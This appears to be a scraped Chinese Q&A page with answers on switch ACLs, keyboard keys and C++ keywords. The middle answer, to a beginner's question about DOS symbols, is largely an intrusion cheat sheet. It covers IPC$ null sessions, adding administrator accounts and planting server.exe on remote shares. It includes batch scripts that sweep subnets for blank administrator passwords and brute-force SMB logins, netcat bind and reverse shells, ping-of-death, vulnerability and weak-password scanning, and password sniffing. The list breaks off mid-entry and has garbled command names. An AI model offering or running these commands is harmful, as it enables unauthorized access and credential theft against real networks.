訪問控制符號
❶ 如何在核心交換上配置訪問控制列表,只允許vlan60段進行訪問,其他訪問拒絕,使用訪問控制列表符號100。
ACL吧?
不知道你用思科還是華為的,命令就不給你敲了。
進入ACL視圖,匹配vlan60的網段permit,其他全部deny any。然後運用到相關介面。
❷ DOS 中的符號是什麼意思 比如% $都是做什麼的急求答案謝謝高手
給你個全部自己學:
真正的DOS命令全集
DOS命令全集
net use \\ip\ipc$ " " /user:" " 建立IPC空鏈接
net use \\ip\ipc$ "密碼" /user:"用戶名" 建立IPC非空鏈接
net use h: \\ip\c$ "密碼" /user:"用戶名" 直接登陸後映射對方C:到本地為H:
net use h: \\ip\c$ 登陸後映射對方C:到本地為H:
net use \\ip\ipc$ /del 刪除IPC鏈接
net use h: /del 刪除映射對方到本地的為H:的映射
net user 用戶名 密碼 /add 建立用戶
net user guest /active:yes 激活guest用戶
net user 查看有哪些用戶
net user 帳戶名 查看帳戶的屬性
net localgroup administrators 用戶名 /add 把「用戶」添加到管理員中使其具有管理員許可權,注意:administrator後加s用復數
net start 查看開啟了哪些服務
net start 服務名 開啟服務;(如:net start telnet, net start schele)
net stop 服務名 停止某服務
net time \\目標ip 查看對方時間
net time \\目標ip /set 設置本地計算機時間與「目標IP」主機的時間同步,加上參數/yes可取消確認信息
net view 查看本地區域網內開啟了哪些共享
net view \\ip 查看對方區域網內開啟了哪些共享
net config 顯示系統網路設置
net logoff 斷開連接的共享
net pause 服務名 暫停某服務
net send ip "文本信息" 向對方發信息
net ver 區域網內正在使用的網路連接類型和信息
net share 查看本地開啟的共享
net share ipc$ 開啟ipc$共享
net share ipc$ /del 刪除ipc$共享
net share c$ /del 刪除C:共享
net user guest 12345 用guest用戶登陸後用將密碼改為12345
net password 密碼 更改系統登陸密碼
netstat -a 查看開啟了哪些埠,常用netstat -an
netstat -n 查看埠的網路連接情況,常用netstat -an
netstat -v 查看正在進行的工作
netstat -p 協議名 例:netstat -p tcq/ip 查看某協議使用情況(查看tcp/ip協議使用情況)
netstat -s 查看正在使用的所有協議使用情況
nbtstat -A ip 對方136到139其中一個埠開了的話,就可查看對方最近登陸的用戶名(03前的為用戶名)-注意:參數-A要大寫
tracert -參數 ip(或計算機名) 跟蹤路由(數據包),參數:「-w數字」用於設置超時間隔。
ping ip(或域名) 向對方主機發送默認大小為32位元組的數據,參數:「-l[空格]數據包大小」;「-n發送數據次數」;「-t」指一直ping。
ping -t -l 65550 ip 死亡之ping(發送大於64K的文件並一直ping就成了死亡之ping)
ipconfig (winipcfg) 用於windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用參數「/all」顯示全部配置信息
tlist -t 以樹行列表顯示進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
kill -F 進程名 加-F參數後強制結束某進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
del -F 文件名 加-F參數後就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統、存檔文件,/A-R、/A-H、/A-S、/A-A表示刪除除只讀、隱藏、系統、存檔以外的文件。例如「DEL/AR *.*」表示刪除當前目錄下所有隻讀文件,「DEL/A-S *.*」表示刪除當前目錄下除系統文件以外的所有文件
#2 二:
del /S /Q 目錄 或用:rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和文件。同時使用參數/Q 可取消刪除操作時的系統確認就直接刪除。(二個命令作用相同)
move 盤符\路徑\要移動的文件名 存放移動文件的路徑\移動後文件名 移動文件,用參數/y將取消確認移動目錄存在相同文件的提示就直接覆蓋
fc one.txt two.txt > 3st.txt 對比二個文件並把不同之處輸出到3st.txt文件中,"> "和"> >" 是重定向命令
at id號 開啟已注冊的某個計劃任務
at /delete 停止所有計劃任務,用參數/yes則不需要確認就直接停止
at id號 /delete 停止某個已注冊的計劃任務
at 查看所有的計劃任務
at \\ip time 程序名(或一個命令) /r 在某時間運行對方某程序並重新啟動計算機
finger username @host 查看最近有哪些用戶登陸
telnet ip 埠 遠和登陸伺服器,默認埠為23
open ip 連接到IP(屬telnet登陸後的命令)
telnet 在本機上直接鍵入telnet 將進入本機的telnet
路徑\文件名1 路徑\文件名2 /y 復制文件1到指定的目錄為文件2,用參數/y就同時取消確認你要改寫一份現存目錄文件
c:\srv.exe \\ip\admin$ 復制本地c:\srv.exe到對方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內容藏身到1st.jpg中生成3st.jpg新的文件,註:2st.txt文件頭要空三排,參數:/b指二進制文件,/a指ASCLL格式文件
\\ip\admin$\svv.exe c:\ 或:\\ip\admin$\*.* 復制對方admini$共享下的srv.exe文件(所有文件)至本地C:
x 要復制的文件或目錄樹 目標地址\目錄名 復制文件和目錄樹,用參數/Y將不提示覆蓋相同文件
tftp -i 自己IP(用肉機作跳板時這用肉機IP) get server.exe c:\server.exe 登陸後,將「IP」的server.exe下載到目標主機c:\server.exe 參數:-i指以二進制模式傳送,如傳送exe文件時用,如不加-i 則以ASCII模式(傳送文本文件模式)進行傳送
tftp -i 對方IP put c:\server.exe 登陸後,上傳本地c:\server.exe至主機
ftp ip 埠 用於上傳文件至伺服器或進行文件操作,默認埠為21。bin指用二進制方式傳送(可執行文件進);默認為ASCII格式傳送(文本文件時)
route print 顯示出IP路由,將主要顯示網路地址Network addres,子網掩碼Netmask,網關地址Gateway addres,介面地址Interface
arp 查看和處理ARP緩存,ARP是名字解析的意思,負責把一個IP解析成一個物理性的MAC地址。arp -a將顯示出全部信息
start 程序名或命令 /max 或/min 新開一個新窗口並最大化(最小化)運行某程序或命令
mem 查看cpu使用情況
attrib 文件名(目錄名) 查看某文件(目錄)的屬性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存檔,只讀,系統,隱藏 屬性;用+則是添加為某屬性
dir 查看文件,參數:/Q顯示文件及目錄屬系統哪個用戶,/T:C顯示文件創建時間,/T:A顯示文件上次被訪問時間,/T:W上次被修改時間
date /t 、 time /t 使用此參數即「DATE/T」、「TIME/T」將只顯示當前日期和時間,而不必輸入新日期和時間
set 指定環境變數名稱=要指派給變數的字元 設置環境變數
set 顯示當前所有的環境變數
set p(或其它字元) 顯示出當前以字元p(或其它字元)開頭的所有環境變數
pause 暫停批處理程序,並顯示出:請按任意鍵繼續....
if 在批處理程序中執行條件處理(更多說明見if命令及變數)
goto 標簽 將cmd.exe導向到批處理程序中帶標簽的行(標簽必須單獨一行,且以冒號打頭,例如:「:start」標簽)
call 路徑\批處理文件名 從批處理程序中調用另一個批處理程序 (更多說明見call /?)
for 對一組文件中的每一個文件執行某個特定命令(更多說明見for命令及變數)
echo on或off 打開或關閉echo,僅用echo不加參數則顯示當前echo設置
echo 信息 在屏幕上顯示出信息
echo 信息 >> pass.txt 將"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中尋找字元串hello
find 文件名 查找某文件
title 標題名字 更改CMD窗口標題名字
color 顏色值 設置cmd控制台前景和背景顏色;0=黑、1=藍、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍、A=淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白
prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:\、D:\統一改為:EntSky\ )
#3 三:
ver 在DOS窗口下顯示版本信息
winver 彈出一個窗口顯示版本信息(內存大小、系統版本、補丁版本、計算機名)
format 盤符 /FS:類型 格式化磁碟,類型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目錄名 創建目錄
replace 源文件 要替換文件的目錄 替換文件
ren 原文件名 新文件名 重命名文件名
tree 以樹形結構顯示出目錄,用參數-f 將列出第個文件夾中文件名稱
type 文件名 顯示文本文件的內容
more 文件名 逐屏顯示輸出文件
doskey 要鎖定的命令=字元
doskey 要解鎖命令= 為DOS提供的鎖定命令(編輯命令行,重新調用win2k命令,並創建宏)。如:鎖定dir命令:doskey dir=entsky (不能用doskey dir=dir);解鎖:doskey dir=
taskmgr 調出任務管理器
chkdsk /F D: 檢查磁碟D並顯示狀態報告;加參數/f並修復磁碟上的錯誤
tlntadmn telnt服務admn,鍵入tlntadmn選擇3,再選擇8,就可以更改telnet服務默認埠23為其它任何埠
exit 退出cmd.exe程序或目前,用參數/B則是退出當前批處理腳本而不是cmd.exe
path 路徑\可執行文件的文件名 為可執行文件設置一個路徑。
cmd 啟動一個win2K命令解釋窗口。參數:/eff、/en 關閉、開啟命令擴展;更我詳細說明見cmd /?
regedit /s 注冊表文件名 導入注冊表;參數/S指安靜模式導入,無任何提示;
regedit /e 注冊表文件名 導出注冊表
cacls 文件名 參數 顯示或修改文件訪問控制列表(ACL)--針對NTFS格式時。參數:/D 用戶名:設定拒絕某用戶訪問;/P 用戶名:perm 替換指定用戶的訪問許可權;/G 用戶名:perm 賦予指定用戶訪問許可權;Perm 可以是: N 無,R 讀取, W 寫入, C 更改(寫入),F 完全控制;例:cacls D:\test.txt /D pub 設定d:\test.txt拒絕pub用戶訪問。
cacls 文件名 查看文件的訪問用戶許可權列表
REM 文本內容 在批處理文件中添加註解
netsh 查看或更改本地網路配置情況
#4 四:
IIS服務命令:
iisreset /reboot 重啟win2k計算機(但有提示系統將重啟信息出現)
iisreset /start或stop 啟動(停止)所有Internet服務
iisreset /restart 停止然後重新啟動所有Internet服務
iisreset /status 顯示所有Internet服務狀態
iisreset /enable或disable 在本地系統上啟用(禁用)Internet服務的重新啟動
iisreset /rebootonerror 當啟動、停止或重新啟動Internet服務時,若發生錯誤將重新開機
iisreset /noforce 若無法停止Internet服務,將不會強制終止Internet服務
iisreset /timeout Val在到達逾時間(秒)時,仍未停止Internet服務,若指定/rebootonerror參數,則電腦將會重新開機。預設值為重新啟動20秒,停止60秒,重新開機0秒。
FTP 命令: (後面有詳細說明內容)
ftp的命令行格式為:
ftp -v -d -i -n -g[主機名] -v 顯示遠程伺服器的所有響應信息。
-d 使用調試方式。
-n 限制ftp的自動登錄,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或 ?[命令] 查看命令說明
bye 或 quit 終止主機FTP進程,並退出FTP管理方式.
pwd 列出當前遠端主機目錄
put 或 send 本地文件名 [上傳到主機上的文件名] 將本地一個文件傳送至遠端主機中
get 或 recv [遠程主機文件名] [下載到本地後的文件名] 從遠端主機中傳送至本地主機中
mget [remote-files] 從遠端主機接收一批文件至本地主機
mput local-files 將本地主機中一批文件傳送至遠端主機
dir 或 ls [remote-directory] [local-file] 列出當前遠端主機目錄中的文件.如果有本地文件,就將結果寫至本地文件
ascii 設定以ASCII方式傳送文件(預設值)
bin 或 image 設定以二進制方式傳送文件
bell 每完成一次文件傳送,報警提示
cp 返回上一級目錄
close 中斷與遠程伺服器的ftp會話(與open對應)
open host[port] 建立指定ftp伺服器連接,可指定連接埠
delete 刪除遠端主機中的文件
mdelete [remote-files] 刪除一批文件
mkdir directory-name 在遠端主機中建立目錄
rename [from] [to] 改變遠端主機中的文件名
rmdir directory-name 刪除遠端主機中的目錄
status 顯示當前FTP的狀態
system 顯示遠端主機系統類型
user user-name [password] [account] 重新以別的用戶名登錄遠端主機
open host [port] 重新建立一個新的連接
prompt 交互提示模式
macdef 定義宏命令
lcd 改變當前本地主機的工作目錄,如果預設,就轉到當前用戶的HOME目錄
chmod 改變遠端主機的文件許可權
case 當為ON時,用MGET命令拷貝的文件名到本地機器中,全部轉換為小寫字母
cd remote-dir 進入遠程主機目錄
cp 進入遠程主機目錄的父目錄
! 在本地機中執行交互shell,exit回到ftp環境,如!ls*.zip
#5 五:
MYsql 命令:
mysql -h主機地址 -u用戶名 -p密碼 連接MYSQL;如果剛安裝好MYSQL,超級用戶root是沒有密碼的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u與root可以不用加空格,其它也一樣)
exit 退出MYSQL
mysqladmin -u用戶名 -p舊密碼 password 新密碼 修改密碼
grant select on 資料庫.* to 用戶名@登錄主機 identified by \"密碼\"; 增加新用戶。(注意:和上面不同,下面的因為是MYSQL環境中的命令,所以後面都帶一個分號作為命令結束符)
show databases; 顯示資料庫列表。剛開始時才兩個資料庫:mysql和test。mysql庫很重要它裡面有MYSQL的系統信息,我們改密碼和新增用戶,實際上就是用這個庫進行操作。
use mysql;
show tables; 顯示庫中的數據表
describe 表名; 顯示數據表的結構
create database 庫名; 建庫
use 庫名;
create table 表名 (欄位設定列表); 建表
drop database 庫名;
drop table 表名; 刪庫和刪表
delete from 表名; 將表中記錄清空
select * from 表名; 顯示表中的記錄
mysqlmp --opt school>school.bbb 備份資料庫:(命令在DOS的\\mysql\\bin目錄下執行);注釋:將資料庫school備份到school.bbb文件,school.bbb是一個文本文件,文件名任取,打開看看你會有新發現。
win2003系統下新增命令(實用部份):
shutdown /參數 關閉或重啟本地或遠程主機。
參數說明:/S 關閉主機,/R 重啟主機, /T 數字 設定延時的時間,范圍0~180秒之間, /A取消開機,/M //IP 指定的遠程主機。
例:shutdown /r /t 0 立即重啟本地主機(無延時)
taskill /參數 進程名或進程的pid 終止一個或多個任務和進程。
參數說明:/PID 要終止進程的pid,可用tasklist命令獲得各進程的pid,/IM 要終止的進程的進程名,/F 強制終止進程,/T 終止指定的進程及他所啟動的子進程。
tasklist 顯示當前運行在本地和遠程主機上的進程、服務、服務各進程的進程標識符(PID)。
參數說明:/M 列出當前進程載入的dll文件,/SVC 顯示出每個進程對應的服務,無參數時就只列出當前的進程。
#6 六:
linux系統下基本命令: 要區分大小寫
uname 顯示版本信息(同win2K的 ver)
dir 顯示當前目錄文件,ls -al 顯示包括隱藏文件(同win2K的 dir)
pwd 查詢當前所在的目錄位置
cd cd ..回到上一層目錄,注意cd 與..之間有空格。cd /返回到根目錄。
cat 文件名 查看文件內容
cat >abc.txt 往abc.txt文件中寫上內容。
more 文件名 以一頁一頁的方式顯示一個文本文件。
cp 復制文件
mv 移動文件
rm 文件名 刪除文件,rm -a 目錄名刪除目錄及子目錄
mkdir 目錄名 建立目錄
rmdir 刪除子目錄,目錄內沒有文檔。
chmod 設定檔案或目錄的存取許可權
grep 在檔案中查找字元串
diff 檔案文件比較
find 檔案搜尋
date 現在的日期、時間
who 查詢目前和你使用同一台機器的人以及Login時間地點
w 查詢目前上機者的詳細資料
whoami 查看自己的帳號名稱
groups 查看某人的Group
passwd 更改密碼
history 查看自己下過的命令
ps 顯示進程狀態
kill 停止某進程
gcc 黑客通常用它來編譯C語言寫的文件
su 許可權轉換為指定使用者
telnet IP telnet連接對方主機(同win2K),當出現bash$時就說明連接成功。
ftp ftp連接上某伺服器(同win2K)
附:批處理命令與變數
1:for命令及變數 基本格式:
FOR /參數 %variable IN (set) DO command [command_parameters] %variable:指定一個單一字母可替換的參數,如:%i ,而指定一個變數則用:%%i ,而調用變數時用:%i% ,變數是區分大小寫的(%i 不等於 %I)。
批處理每次能處理的變數從%0-%9共10個,其中%0默認給批處理文件名使用,%1默認為使用此批處理時輸入的的第一個值,同理:%2-%9指輸入的第2-9個值;例:net use \\ip\ipc$ pass /user:user 中ip為%1,pass為%2 ,user為%3
(set):指定一個或一組文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{ 「(1 1 254)」第一個"1"指起始值,第二個"1"指增長量,第三個"254"指結束值,即:從1到254;「(1 -1 254)」說明:即從254到1 }
command:指定對第個文件執行的命令,如:net use命令;如要執行多個命令時,命令這間加:& 來隔開
command_parameters:為特定命令指定參數或命令行開關
IN (set):指在(set)中取值;DO command :指執行command
參數:/L 指用增量形式{ (set)為增量形式時 };/F 指從文件中不斷取值,直到取完為止{ (set)為文件時,如(d:\pass.txt)時 }。
用法舉例:
@echo off
echo 用法格式:test.bat *.*.* > test.txt
for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt
存為test.bat 說明:對指定的一個C類網段的254個IP依次試建立administrator密碼為空的IPC$連接,如果成功就把該IP存在test.txt中。
/L指用增量形式(即從1-254或254-1);輸入的IP前面三位:*.*.*為批處理默認的 %1;%%G 為變數(ip的最後一位);& 用來隔開echo 和net use 這二個命令;| 指建立了ipc$後,在結果中用find查看是否有"命令成功完成"信息;%1.%%G 為完整的IP地址;(1 1 254) 指起始值,增長量,結止值。
@echo off
echo 用法格式:ok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
存為:ok.exe 說明:輸入一個IP後,用字典文件d:\pass.dic來暴解d:\user.dic中的用戶密碼,直到文件中值取完為止。%%i為用戶名;%1為輸入的IP地址(默認)。
#7 七:
2:if命令及變數 基本格式:
IF [not] errorlevel 數字 命令語句 如果程序運行最後返回一個等於或大於指定數字的退出編碼,指定條件為「真」。
例:IF errorlevel 0 命令 指程序執行後返回的值為0時,就值行後面的命令;IF not errorlevel 1 命令指程序執行最後返回的值不等於1,就執行後面的命令。
0 指發現並成功執行(真);1 指沒有發現、沒執行(假)。
IF [not] 字元串1==字元串2 命令語句 如果指定的文本字元串匹配(即:字元串1 等於 字元串2),就執行後面的命令。
例:「if "%2%"=="4" goto start」指:如果輸入的第二個變數為4時,執行後面的命令(注意:調用變數時就%變數名%並加" ")
IF [not] exist 文件名 命令語句 如果指定的文件名存在,就執行後面的命令。
例:「if not nc.exe goto end」指:如果沒有發現nc.exe文件就跳到":end"標簽處。
IF [not] errorlevel 數字 命令語句 else 命令語句或 IF [not] 字元串1==字元串2 命令語句 else 命令語句或 IF [not] exist 文件名 命令語句 else 命令語句 加上:else 命令語句後指:當前面的條件不成立時,就指行else後面的命令。注意:else 必須與 if 在同一行才有效。 當有del命令時需把del命令全部內容用< >括起來,因為del命令要單獨一行時才能執行,用上< >後就等於是單獨一行了;例如:「if exist test.txt. <del test.txt.> else echo test.txt.missing 」,注意命令中的「.」
(二)系統外部命令(均需下載相關工具):
1、瑞士軍刀:nc.exe
參數說明:
-h 查看幫助信息
-d 後台模式
-e prog程序重定向,一但連接就執行〔危險〕
-i secs延時的間隔
-l 監聽模式,用於入站連接
-L 監聽模式,連接天閉後仍然繼續監聽,直到CTR+C
-n IP地址,不能用域名
-o film記錄16進制的傳輸
-p[空格]埠 本地埠號
-r 隨機本地及遠程埠
-t 使用Telnet交互方式
-u UDP模式
-v 詳細輸出,用-vv將更詳細
-w數字 timeout延時間隔
-z 將輸入,輸出關掉(用於掃錨時)
基本用法:
nc -nvv 192.168.0.1 80 連接到192.168.0.1主機的80埠
nc -l -p 80 開啟本機的TCP 80埠並監聽
nc -nvv -w2 -z 192.168.0.1 80-1024 掃錨192.168.0.1的80-1024埠
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 綁定remote主機的cmdshell在remote的TCP 5354埠
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主機的cmdshell並反向連接192.168.0.2的5354埠
高級用法:
nc -L -p 80 作為蜜罐用1:開啟並不停地監聽80埠,直到CTR+C為止
nc -L -p 80 > c:\log.txt 作為蜜罐用2:開啟並不停地監聽80埠,直到CTR+C,同時把結果輸出到c:\log.txt
nc -L -p 80 < c:\honeyport.txt 作為蜜罐用3-1:開啟並不停地監聽80埠,直到CTR+C,並把c:\honeyport.txt中內容送入管道中,亦可起到傳送文件作用
type.exe c:\honeyport | nc -L -p 80 作為蜜罐用3-2:開啟並不停地監聽80埠,直到CTR+C,並把c:\honeyport.txt中內容送入管道中,亦可起到傳送文件作用
本機上用:nc -l -p 本機埠
在對方主機上用:nc -e cmd.exe 本機IP -p 本機埠 *win2K
nc -e /bin/sh 本機IP -p 本機埠 *linux,unix 反向連接突破對方主機的防火牆
本機上用:nc -d -l -p 本機埠 < 要傳送的文件路徑及名稱
在對方主機上用:nc -vv 本機IP 本機埠 > 存放文件的路徑及名稱 傳送文件到對方主機
備 註:
| 管道命令
< 或 > 重定向命令。「<」,例如:tlntadmn < test.txt 指把test.txt的內容賦值給tlntadmn命令
@ 表示執行@後面的命令,但不會顯示出來(後台執行);例:@dir c:\winnt >> d:\log.txt 意思是:後台執行dir,並把結果存在d:\log.txt中
>與>>的區別 ">"指:覆蓋;">>"指:保存到(添加到)。
如:@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二個命令分別執行二次比較看:用>>的則是把二次的結果都保存了,而用:>則只有一次的結果,是因為第二次的結果把第一次的覆蓋了。
#8 八:
2、掃錨工具:xscan.exe
基本格式
xscan -host <起始IP>[-<終止IP>] <檢測項目> [其他選項] 掃錨"起始IP到終止IP"段的所有主機信息
xscan -file <主機列表文件名> <檢測項目> [其他選項] 掃錨"主機IP列表文件名"中的所有主機信息
檢測項目
-active 檢測主機是否存活
-os 檢測遠程操作系統類型(通過NETBIOS和SNMP協議)
-port 檢測常用服務的埠狀態
-ftp 檢測FTP弱口令
-pub 檢測FTP服務匿名用戶寫許可權
-pop3 檢測POP3-Server弱口令
-smtp 檢測SMTP-Server漏洞
-sql 檢測SQL-Server弱口令
-smb 檢測NT-Server弱口令
-iis 檢測IIS編碼/解碼漏洞
-cgi 檢測CGI漏洞
-nasl 載入Nessus攻擊腳本
-all 檢測以上所有項目
其它選項
-i 適配器編號 設置網路適配器, <適配器編號>可通過"-l"參數獲取
-l 顯示所有網路適配器
-v 顯示詳細掃描進度
-p 跳過沒有響應的主機
-o 跳過沒有檢測到開放埠的主機
-t 並發線程數量,並發主機數量 指定最大並發線程數量和並發主機數量, 默認數量為100,10
-log 文件名 指定掃描報告文件名 (後綴為:TXT或HTML格式的文件)
用法示例
xscan -host 192.168.1.1-192.168.255.255 -all -active -p 檢測192.168.1.1-192.168.255.255網段內主機的所有漏洞,跳過無響應的主機
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 檢測192.168.1.1-192.168.255.255網段內主機的標准埠狀態,NT弱口令用戶,最大並發線程數量為150,跳過沒有檢測到開放埠的主機
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 檢測「hostlist.txt」文件中列出的所有主機的標准埠狀態,CGI漏洞,最大並發線程數量為200,同一時刻最多檢測5台主機,顯示詳細檢測進度,跳過沒有檢測到開放埠的主機
#9 九:
3、命令行方式嗅探器: xsniff.exe
可捕獲區域網內FTP/SMTP/POP3/HTTP協議密碼
參數說明
-tcp 輸出TCP數據報
-udp 輸出UDP數據報
-icmp 輸出ICMP數據報
-pass 過濾密碼信息
-hide 後台運行
-host 解析主機名
-addr IP地址 過濾IP地址
-port 埠 過濾埠
-log 文件名 將輸出保存到文件
-asc 以ASCII形式輸出
-hex 以16進制形式輸出
用法示例
xsniff.exe -pass -hide -log pass.log 後台運行嗅探密碼並將密碼信息保存在pass.log文件中
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1並過濾tcp和udp信息並以ASCII格式輸出
4、終端服務密碼破解: tscrack.exe
參數說明
-h 顯示使用幫助
-v 顯示版本信息
-s 在屏幕上
❸ 有誰知道電腦鍵盤上的標示符號都代表什麼意思
鍵盤上的鍵可以根據功能劃分為幾個組: 鍵入(字母數字)鍵。這些鍵包括與傳統打字機上相同的字母、數字、標點符號和符號鍵。 控制鍵。這些鍵可單獨使用或者與其他鍵組合使用來執行某些操作。最常用的控制鍵是 Ctrl、Alt、Windows 徽標鍵 和 Esc。 功能鍵。功能鍵用於執行特定任務。功能鍵標記為 F1、F2、F3 等,一直到 F12。這些鍵的功能因程序而有所不同。 導航鍵。這些鍵用於在文檔或網頁中移動以及編輯文本。這些鍵包括方向鍵、Home、End、Page Up、Page Down、Delete 和 Insert。 數字鍵盤。數字鍵盤便於快速輸入數字。這些鍵位於一方塊中,分組放置,有些像常規計算器或加法器。 鍵名稱 如何使用 Shift 同時按 Shift 與某個字母將輸入該字母的大寫字母。同時按 Shift 與另一個鍵將鍵入在該鍵的上部分顯示的符號。 Caps Lock 按一次 Caps Lock,所有字母都將以大寫鍵入。再按一次 Caps Lock 將關閉此功能。鍵盤可能有一個指示 Caps Lock 是否處於打開狀態的指示燈。 Tab 按Tab 鍵會使游標向前移動幾個空格。還可以按 Tab 鍵移動到表單上的下一個文本框。 Enter 按Enter 將游標移動到下一行開始的位置。在對話框中,按 Enter 將選擇突出顯示的按鈕。 空格鍵 按空格鍵會使游標向前移動一個空格。 Backspace 按Backspace 將刪除游標前面的字元或選擇的文本。 使用鍵盤快捷方式 鍵盤快捷方式是使用鍵盤來執行操作的方式。因為有助於加快工作速度,從而將其稱作快捷方式。事實上,可以使用滑鼠執行的幾乎所有操作或命令都可以使用鍵盤上的一個或多個鍵更快地執行。 在幫助主題中,兩個或多個鍵之間的加號 (+) 指示應該一起按這些鍵。例如,Ctrl+A 表示按住 Ctrl,然後再按 A。Ctrl+Shift+A 表示按住 Ctrl 和 Shift,然後再按 A。 查找程序快捷方式 可以在大多數程序中使用鍵盤來執行操作。若要查看哪些命令具有鍵盤快捷方式,請打開菜單。快捷方式(如果有)顯示在菜單項的旁邊。 鍵盤快捷方式顯示在菜單項的旁邊 選擇菜單、命令和選項 可以使用鍵盤來打開菜單和選擇命令及其他選項。在具有菜單且每個菜單名稱中的一個字母帶有下劃線的程序中按 Alt 時,按下劃線字母將打開相應的菜單。按菜單項中的下劃線字母將選擇該命令。 按Alt+F 將打開「文件」菜單,然後按 P 將選擇「列印」命令 此技巧在對話框中也有效。只要看到對話框中某個選項附帶有下劃線的字母,則表示可以同時按 Alt 和該字母來選擇該選項。 有用的快捷方式 下表列出部分最有用的鍵盤快捷方式。有關更詳細的列表,請參閱鍵盤快捷方式。 按鍵名稱 功能 WindowsWindows 徽標鍵 打開「開始」菜單 Alt+Tab 在打開的程序或窗口之間切換 Alt+F4 關閉活動項目或者退出活動程序 Ctrl+S 保存當前文件或文檔(在大多數程序中有效) Ctrl+C 復制選擇的項目 Ctrl+X 剪切選擇的項目 Ctrl+V 粘貼選擇的項目 Ctrl+Z 撤消操作 Ctrl+A 選擇文檔或窗口中的所有項目 F1 顯示程序或 Windows 的幫助 Windows 徽標鍵 + F1 顯示 Windows「幫助和支持」 Esc 取消當前任務 應用程序鍵 在程序中打開與選擇相關的命令的菜單。等同於右鍵單擊選擇的項目。 使用導航鍵 使用導航鍵可以移動游標、在文檔和網頁中移動以及編輯文本。下表列出這些鍵的部分常用功能。 按鍵名稱 功能 Home 將游標移動到行首,或者移動到網頁頂端 End 將游標移動到行末,或者移動到網頁底端 Ctrl+Home 移動到文檔的頂端 Ctrl+End 移動到文檔的底端 Page Up 將游標或頁面向上移動一個屏幕 Page Down 將游標或頁面向下移動一個屏幕 Delete 刪除游標後面的字元或選擇的文本;在 Windows 中,刪除選擇的項目,並將其移動到「回收站」。 Insert 關閉或打開「插入」模式。當「插入」模式處於打開狀態時,在游標處插入鍵入的文本。當「插入」模式處 於關閉狀態時,鍵入的文本將替換現有字元。 使用數字鍵盤 數字鍵盤排列數字 0 至 9、算術運算符 「+」(加)、「-」(減)、「*」(乘)和「/」(除)以及在計算器或加法器上顯示的小數點。當然,這些字元在鍵盤其他地方會有重復,但數字鍵盤排列使您能夠使用一隻手即可迅速輸入數字數據或數學運算符。 數字鍵盤 若要使用數字鍵盤來輸入數字,請按 Num Lock。大多數鍵盤都有一個指示 Num Lock 處於打開還是關閉狀態的指示燈。當 Num Lock 處於關閉狀態時,數字鍵盤將作為第二組導航鍵運行(這些功能印在鍵上面的數字或符號旁邊)。 可以通過數字鍵盤使用計算器執行簡單計算。 使用數字鍵盤操作計算器 單擊打開「計算器」。 檢查鍵盤指示燈,查看 Num Lock 是否處於打開狀態。如果不是,則按 Num Lock。 使用數字鍵盤,鍵入計算的第一個數字。 在數字鍵盤上,鍵入「+」、「-」、「*」或「/」分別執行加法、減法、乘法或除法運算。 鍵入計算的下一個數字。 按Enter 完成計算。 三個特殊的鍵 目前,已經討論了幾乎所有可能要用到的鍵。但為了真正徹底的了解,我們將介紹鍵盤上三個最特殊的鍵:Print Screen、Scroll Lock 和 Pause/Break。 Print Screen(或 Prt Scn) 很久以前,該鍵實際上是用於將當前屏幕的文本發送到列印機。現在,按 Print Screen 將捕獲整個屏幕的圖像(「屏幕快照」),並將其復制到計算機內存中的剪貼板。可以從剪貼板將其粘貼 (Ctrl+V) 到 Microsoft 畫圖或其他程序,並通過該程序列印(如果需要)。 更難以引起注意的鍵是 SysRq,該鍵在一些鍵盤上與 Print Screen 共享一個鍵。以前,SysRq 設計成一個「系統請求」,但在 Windows 中未啟用該命令。 提示按Alt+Print Screen 將只捕獲活動窗口而不是整個屏幕的圖像。 Scroll Lock(或 Scr Lk) 在大多數程序中按 Scroll Lock 都不起作用。在少數程序中,按 Scroll Lock 將更改箭頭鍵、Page Up 和 Page Down 鍵的行為;按這些鍵將滾動文檔,而不會更改游標或選擇的位置。鍵盤可能有一個指示 Caps Lock 是否處於打開狀態的指示燈。 Pause/Break 一般不使用該鍵。在一些舊程序中,按該鍵將暫停程序,或者同時按 Ctrl 停止程序運行。 其他鍵 一些現代鍵盤帶有「熱鍵」或按鈕,可以迅速地一鍵式訪問程序、文件或命令。其他模型還有音量控制、滾輪、縮放輪和其他小配件。
❹ 哥哥姐姐們跪求C++有哪些術語 比如英文單詞啊 標點符號啊 誰能告訴我下感激不盡啊
按照順序羅列了一下,可供參考,查閱。
1.asm(匯編),用法如下:
asm (指令字元串);
允許在C++程序中嵌入匯編代碼。
2. auto(自動,automatic)是存儲類型標識符,表明變數「自動」具有本地范圍,塊范圍的變數聲明(如for循環體內的變數聲明)默認為auto存儲類型。
3. bool(布爾)類型,C++中的基本數據結構,其值可選為true(真)或者false(假)。C++中的bool類型可以和int混用,具體來說就是0代表false,
非0代表true。bool類型常用於條件判斷和函數返回值。
4. break(中斷、跳出),用在switch語句或者循環語句中。程序遇到break後,即跳過該程序段,繼續後面的語句執行。
5. case用於switch語句中,用於判斷不同的條件類型。
